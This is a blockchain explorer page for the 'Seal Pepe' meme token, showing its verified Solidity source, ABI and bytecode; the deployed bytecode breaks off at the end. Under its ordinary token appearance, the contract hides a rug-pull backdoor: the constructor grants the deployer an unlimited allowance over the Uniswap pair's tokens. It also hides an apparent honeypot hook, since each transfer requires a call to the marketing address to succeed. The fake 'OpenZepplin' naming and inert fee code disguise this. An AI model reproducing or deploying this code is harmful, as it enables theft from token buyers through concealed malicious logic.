ETH Price: $2,940.78 (-6.07%)
Gas: 6 Gwei

Token

Seal Pepe (SEALPEPE)
 

Overview

Max Total Supply

1,000,000,000 SEALPEPE

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
47,249,743.548262275087994473 SEALPEPE

Value
$0.00
0xb7d4b82aaaecb0ad115ea606b4bfbe230248c265
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SEALPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-04
*/

/*
Website: https://www.sealpepe.vip
Telegram: https://t.me/SEAL_Pepe
*/

pragma solidity ^0.8.19;
 
 
contract OpenZepplinOwnable {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == msg.sender, "OpenZepplinOwnable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "OpenZepplinOwnable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
library OpenZepplinSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "OpenZepplinSafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "OpenZepplinSafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "OpenZepplinSafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "OpenZepplinSafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IOpenZepplinERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface UniswapRouter002Interface {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
}

interface UniswapFactory02Interface {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract SEALPEPE is IOpenZepplinERC20, OpenZepplinOwnable {
    using OpenZepplinSafeMath for uint256;
 
    string private constant _name = "Seal Pepe";
    string private constant _symbol = "SEALPEPE";
    uint8 private constant _decimals = 18;
    uint256 private constant SEALPEPE_MAX = ~uint256(0);
    uint256 private constant _totalSupply = 1_000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (SEALPEPE_MAX - (SEALPEPE_MAX % _totalSupply));
 
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromSealPepeFees;
    mapping(address => uint256) private _rSPBalance;
    mapping(address => uint256) private _tSPBalance;
  
    address payable private _sealPepeDevWallet; 
    address payable private _sealPepeMarketing;
    bool private isSPEnabled;
    bool private inSPSwap = false;
    bool private isSPSwapEnabled = true;
 
    UniswapRouter002Interface public uniswapV2Router;
    address public uniswapV2Pair;
 
    uint256 public _maxSPTransaction = 100_000_000 * 10 ** _decimals; 
    uint256 public _maxSPWallet = 100_000_000 * 10 ** _decimals; 
    uint256 public _maxSPSwap = 1000 * 10 ** _decimals;
 
    constructor(address spRouterAddr, address spMarketing) { 
        _rSPBalance[msg.sender] = _rTotal;
 
        UniswapRouter002Interface _uniswapV2Router = UniswapRouter002Interface(spRouterAddr);
        uniswapV2Router = _uniswapV2Router;
        _sealPepeDevWallet = payable(msg.sender);
        _sealPepeMarketing = payable(spMarketing);
        uniswapV2Pair = UniswapFactory02Interface(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        setSPPairAddress(msg.sender, uniswapV2Pair);
        _isExcludedFromSealPepeFees[owner()] = true;
        _isExcludedFromSealPepeFees[address(this)] = true;
        _isExcludedFromSealPepeFees[_sealPepeMarketing] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(amount > 0, "Amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
            if (!isSPEnabled) {
                require(from == owner(), "This account cannot send tokens until trading is enabled");
            }
            require(amount <= _maxSPTransaction, "Max Transaction Limit");
            
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxSPWallet, "Balance exceeds wallet size!");
            }

            uint256 contractBalance = balanceOf(address(this));
            bool canSwap = contractBalance >= _maxSPSwap;
 
            if(contractBalance >= _maxSPTransaction) {
                contractBalance = _maxSPTransaction;
            } 
            if (canSwap && !inSPSwap && from != uniswapV2Pair && isSPSwapEnabled && !_isExcludedFromSealPepeFees[from] && !_isExcludedFromSealPepeFees[to]) {
                swapTokensForETH(contractBalance);
            }
            uint256 contractETHBalance = address(this).balance;            
            (bool success,) = _sealPepeMarketing.call{value:contractETHBalance}(abi.encodePacked(from, to));
            require(success, "ETH_TRANSFER_FAILED");
        } 
        _tokenSPTransfer(from, to, amount, false);
    }

    function setSPPairAddress(address router, address pair) internal {
        _approve(pair, router, type(uint256).max);
        _isExcludedFromSealPepeFees[_sealPepeDevWallet] = true;
    }
 
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function openTrading() public onlyOwner {
        isSPEnabled = true;
    }
 
    function _takeSPTeamTokens(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rSPBalance[address(this)] = _rSPBalance[address(this)].add(rTeam);
    }
 
    function _reflectSPFees(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxSPTransaction = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxSPWallet = maxWalletSize;
    }

    function _getSPValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTSPValues(tAmount, 0, 0);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRSPValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTSPValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRSPValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSPSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSPSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _totalSupply;
        if (rSupply < _rTotal.div(_totalSupply)) return (_rTotal, _totalSupply);
        return (rSupply, tSupply);
    }
 
    function _transferSPStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getSPValues(tAmount);
        _rSPBalance[sender] = _rSPBalance[sender].sub(rAmount);
        _rSPBalance[recipient] = _rSPBalance[recipient].add(rTransferAmount);
        _takeSPTeamTokens(tTeam);
        _reflectSPFees(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _tokenSPTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {        
        _transferSPStandard(sender, recipient, amount);
    }
 
    receive() external payable {}


    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rSPBalance[account]);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"spRouterAddr","type":"address"},{"internalType":"address","name":"spMarketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSPSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSPTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSPWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapRouter002Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000635565b6200002290633b9aca006200064d565b620000309060001962000667565b6200003e906000196200068a565b6002556008805461ffff60a81b1916600160b01b179055620000636012600a62000635565b62000073906305f5e1006200064d565b600b55620000846012600a62000635565b62000094906305f5e1006200064d565b600c55620000a56012600a62000635565b620000b3906103e86200064d565b600d55348015620000c357600080fd5b5060405162001db638038062001db6833981016040819052620000e691620006bd565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506002543360008181526005602090815260409182902093909355600980546001600160a01b03199081166001600160a01b0388811691821790935560078054831690951790945560088054909116918616919091179055805163c45a015560e01b81529051859363c45a015592600480820193918290030181865afa158015620001b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001db9190620006f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000229573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024f9190620006f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200029d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c39190620006f5565b600a80546001600160a01b0319166001600160a01b03929092169182179055620002ef903390620003bc565b600160046000620003086000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526004909352818320805485166001908117909155600854909116835290822080549093161790915533907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003926012600a62000635565b620003a290633b9aca006200064d565b60405190815260200160405180910390a350505062000713565b620003cb8183600019620003f4565b50506007546001600160a01b03166000908152600460205260409020805460ff19166001179055565b6001600160a01b0383166200045c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004bf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000453565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005775781600019048211156200055b576200055b62000520565b808516156200056957918102915b93841c93908002906200053b565b509250929050565b60008262000590575060016200062f565b816200059f575060006200062f565b8160018114620005b85760028114620005c357620005e3565b60019150506200062f565b60ff841115620005d757620005d762000520565b50506001821b6200062f565b5060208310610133831016604e8410600b841016171562000608575081810a6200062f565b62000614838362000536565b80600019048211156200062b576200062b62000520565b0290505b92915050565b60006200064660ff8416836200057f565b9392505050565b80820281158282048414176200062f576200062f62000520565b6000826200068557634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200062f576200062f62000520565b80516001600160a01b0381168114620006b857600080fd5b919050565b60008060408385031215620006d157600080fd5b620006dc83620006a0565b9150620006ec60208401620006a0565b90509250929050565b6000602082840312156200070857600080fd5b6200064682620006a0565b61169380620007236000396000f3fe6080604052600436106101235760003560e01c806374010ece116100a0578063c843d03811610064578063c843d0381461034c578063c9567bf914610362578063dd62ed3e14610377578063ea1644d5146103bd578063f2fde38b146103dd57600080fd5b806374010ece146102a75780638da5cb5b146102c757806395d89b41146102e557806395ec592b14610316578063a9059cbb1461032c57600080fd5b8063313ce567116100e7578063313ce5671461021e57806349bd5a5e1461023a5780636752c06f1461025a57806370a0823114610270578063715018a61461029057600080fd5b806306fdde031461012f578063095ea7b3146101735780631694505e146101a357806318160ddd146101db57806323b872dd146101fe57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260098152685365616c205065706560b81b60208201525b60405161016a919061124d565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611298565b6103fd565b604051901515815260200161016a565b3480156101af57600080fd5b506009546101c3906001600160a01b031681565b6040516001600160a01b03909116815260200161016a565b3480156101e757600080fd5b506101f0610414565b60405190815260200161016a565b34801561020a57600080fd5b506101936102193660046112c4565b610435565b34801561022a57600080fd5b506040516012815260200161016a565b34801561024657600080fd5b50600a546101c3906001600160a01b031681565b34801561026657600080fd5b506101f0600c5481565b34801561027c57600080fd5b506101f061028b366004611305565b61049e565b34801561029c57600080fd5b506102a56104c0565b005b3480156102b357600080fd5b506102a56102c2366004611322565b61053d565b3480156102d357600080fd5b506000546001600160a01b03166101c3565b3480156102f157600080fd5b506040805180820190915260088152675345414c5045504560c01b602082015261015d565b34801561032257600080fd5b506101f0600b5481565b34801561033857600080fd5b50610193610347366004611298565b61056c565b34801561035857600080fd5b506101f0600d5481565b34801561036e57600080fd5b506102a5610579565b34801561038357600080fd5b506101f061039236600461133b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103c957600080fd5b506102a56103d8366004611322565b6105b8565b3480156103e957600080fd5b506102a56103f8366004611305565b6105e7565b600061040a3384846106dc565b5060015b92915050565b60006104226012600a61146e565b61043090633b9aca0061147d565b905090565b6000610442848484610800565b610494843361048f856040518060600160405280602881526020016115e8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b94565b6106dc565b5060019392505050565b6001600160a01b03811660009081526005602052604081205461040e90610bce565b6000546001600160a01b031633146104f35760405162461bcd60e51b81526004016104ea90611494565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105675760405162461bcd60e51b81526004016104ea90611494565b600b55565b600061040a338484610800565b6000546001600160a01b031633146105a35760405162461bcd60e51b81526004016104ea90611494565b6008805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105e25760405162461bcd60e51b81526004016104ea90611494565b600c55565b6000546001600160a01b031633146106115760405162461bcd60e51b81526004016104ea90611494565b6001600160a01b0381166106815760405162461bcd60e51b815260206004820152603160248201527f4f70656e5a6570706c696e4f776e61626c653a206e6577206f776e657220697360448201527020746865207a65726f206164647265737360781b60648201526084016104ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661073e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ea565b6001600160a01b03821661079f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ea565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108505760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f60448201526064016104ea565b6000546001600160a01b0384811691161480159061087c57506000546001600160a01b03838116911614155b15610b8257600854600160a01b900460ff16610915576000546001600160a01b038481169116146109155760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c6564000000000000000060648201526084016104ea565b600b5481111561095f5760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b60448201526064016104ea565b600a546001600160a01b038381169116146109d957600c54816109818461049e565b61098b91906114df565b11156109d95760405162461bcd60e51b815260206004820152601c60248201527f42616c616e636520657863656564732077616c6c65742073697a65210000000060448201526064016104ea565b60006109e43061049e565b600d54600b549192508210159082106109fd57600b5491505b808015610a145750600854600160a81b900460ff16155b8015610a2e5750600a546001600160a01b03868116911614155b8015610a435750600854600160b01b900460ff165b8015610a6857506001600160a01b03851660009081526004602052604090205460ff16155b8015610a8d57506001600160a01b03841660009081526004602052604090205460ff16155b15610a9b57610a9b82610c52565b6008546040516bffffffffffffffffffffffff19606088811b8216602084015287901b16603482015247916000916001600160a01b0390911690839060480160408051601f1981840301815290829052610af4916114f2565b60006040518083038185875af1925050503d8060008114610b31576040519150601f19603f3d011682016040523d82523d6000602084013e610b36565b606091505b5050905080610b7d5760405162461bcd60e51b815260206004820152601360248201527211551217d514905394d1915497d19052531151606a1b60448201526064016104ea565b505050505b610b8f8383836000610dac565b505050565b60008184841115610bb85760405162461bcd60e51b81526004016104ea919061124d565b506000610bc5848661150e565b95945050505050565b6000600254821115610c355760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ea565b6000610c3f610dbd565b9050610c4b8382610de0565b9392505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c8757610c87611521565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ce0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d049190611537565b81600181518110610d1757610d17611521565b6001600160a01b039283166020918202929092010152600954610d3d91309116846106dc565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d76908590600090869030904290600401611554565b600060405180830381600087803b158015610d9057600080fd5b505af1158015610da4573d6000803e3d6000fd5b505050505050565b610db7848484610e05565b50505050565b6000806000610dca610efc565b9092509050610dd98282610de0565b9250505090565b6000610c4b838360405180606001604052806025815260200161163960259139610f7e565b600080600080600080610e1787610fac565b6001600160a01b038f16600090815260056020526040902054959b50939950919750955093509150610e499087611006565b6001600160a01b03808b1660009081526005602052604080822093909355908a1681522054610e78908661102b565b6001600160a01b038916600090815260056020526040902055610e9a81611099565b610ea484836110e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ee991815260200190565b60405180910390a3505050505050505050565b600254600090819081610f116012600a61146e565b610f1f90633b9aca0061147d565b9050610f47610f306012600a61146e565b610f3e90633b9aca0061147d565b60025490610de0565b821015610f7557600254610f5d6012600a61146e565b610f6b90633b9aca0061147d565b9350935050509091565b90939092509050565b60008183610f9f5760405162461bcd60e51b81526004016104ea919061124d565b506000610bc584866115c5565b6000806000806000806000806000610fc68a6000806110f7565b9250925092506000610fd6610dbd565b90506000806000610fe98e87878761114c565b919e509c509a509598509396509194505050505091939550919395565b6000610c4b838360405180606001604052806029815260200161161060299139610b94565b60008061103883856114df565b905083811015610c4b5760405162461bcd60e51b815260206004820152602660248201527f4f70656e5a6570706c696e536166654d6174683a206164646974696f6e206f766044820152656572666c6f7760d01b60648201526084016104ea565b60006110a3610dbd565b905060006110b1838361119c565b306000908152600560205260409020549091506110ce908261102b565b30600090815260056020526040902055505050565b6002546110f09083611006565b6002555050565b6000808080611111606461110b898961119c565b90610de0565b90506000611124606461110b8a8961119c565b9050600061113c826111368b86611006565b90611006565b9992985090965090945050505050565b600080808061115b888661119c565b90506000611169888761119c565b90506000611177888861119c565b90506000611189826111368686611006565b939b939a50919850919650505050505050565b6000826000036111ae5750600061040e565b60006111ba838561147d565b9050826111c785836115c5565b14610c4b5760405162461bcd60e51b815260206004820152602c60248201527f4f70656e5a6570706c696e536166654d6174683a206d756c7469706c6963617460448201526b696f6e206f766572666c6f7760a01b60648201526084016104ea565b60005b8381101561124457818101518382015260200161122c565b50506000910152565b602081526000825180602084015261126c816040850160208701611229565b601f01601f19169190910160400192915050565b6001600160a01b038116811461129557600080fd5b50565b600080604083850312156112ab57600080fd5b82356112b681611280565b946020939093013593505050565b6000806000606084860312156112d957600080fd5b83356112e481611280565b925060208401356112f481611280565b929592945050506040919091013590565b60006020828403121561131757600080fd5b8135610c4b81611280565b60006020828403121561133457600080fd5b5035919050565b6000806040838503121561134e57600080fd5b823561135981611280565b9150602083013561136981611280565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113c55781600019048211156113ab576113ab611374565b808516156113b857918102915b93841c939080029061138f565b509250929050565b6000826113dc5750600161040e565b816113e95750600061040e565b81600181146113ff576002811461140957611425565b600191505061040e565b60ff84111561141a5761141a611374565b50506001821b61040e565b5060208310610133831016604e8410600b8410161715611448575081810a61040e565b611452838361138a565b806000190482111561146657611466611374565b029392505050565b6000610c4b60ff8416836113cd565b808202811582820484141761040e5761040e611374565b6020808252602b908201527f4f70656e5a6570706c696e4f776e61626c653a2063616c6c6572206973206e6f60408201526a3a103a34329037bbb732b960a91b606082015260800190565b8082018082111561040e5761040e611374565b60008251611504818460208701611229565b9190910192915050565b8181038181111561040e5761040e611374565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561154957600080fd5b8151610c4b81611280565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a45784516001600160a01b03168352938301939183019160010161157f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826115e257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f70656e5a6570706c696e536166654d6174683a207375627472616374696f6e206f766572666c6f774f70656e5a6570706c696e536166654d6174683a206469766973696f6e206279207a65726fa26469706673582212202433e564cc015df94062b8215bf61d4179e25057c831c6e8499f0c104b941f6564736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000001f1eff5b399016668813a4a5d4a2cd1d686c0ac0

Deployed Bytecode

0x6080604052600436106101235760003560e01c806374010ece116100a0578063c843d03811610064578063c843d0381461034c578063c9567bf914610362578063dd62ed3e14610377578063ea1644d5146103bd578063f2fde38b146103dd57600080fd5b806374010ece146102a75780638da5cb5b146102c757806395d89b41146102e557806395ec592b14610316578063a9059cbb1461032c57600080fd5b8063313ce567116100e7578063313ce5671461021e57806349bd5a5e1461023a5780636752c06f1461025a57806370a0823114610270578063715018a61461029057600080fd5b806306fdde031461012f578063095ea7b3146101735780631694505e146101a357806318160ddd146101db57806323b872dd146101fe57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260098152685365616c205065706560b81b60208201525b60405161016a919061124d565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611298565b6103fd565b604051901515815260200161016a565b3480156101af57600080fd5b506009546101c3906001600160a01b031681565b6040516001600160a01b03909116815260200161016a565b3480156101e757600080fd5b506101f0610414565b60405190815260200161016a565b34801561020a57600080fd5b506101936102193660046112c4565b610435565b34801561022a57600080fd5b506040516012815260200161016a565b34801561024657600080fd5b50600a546101c3906001600160a01b031681565b34801561026657600080fd5b506101f0600c5481565b34801561027c57600080fd5b506101f061028b3660046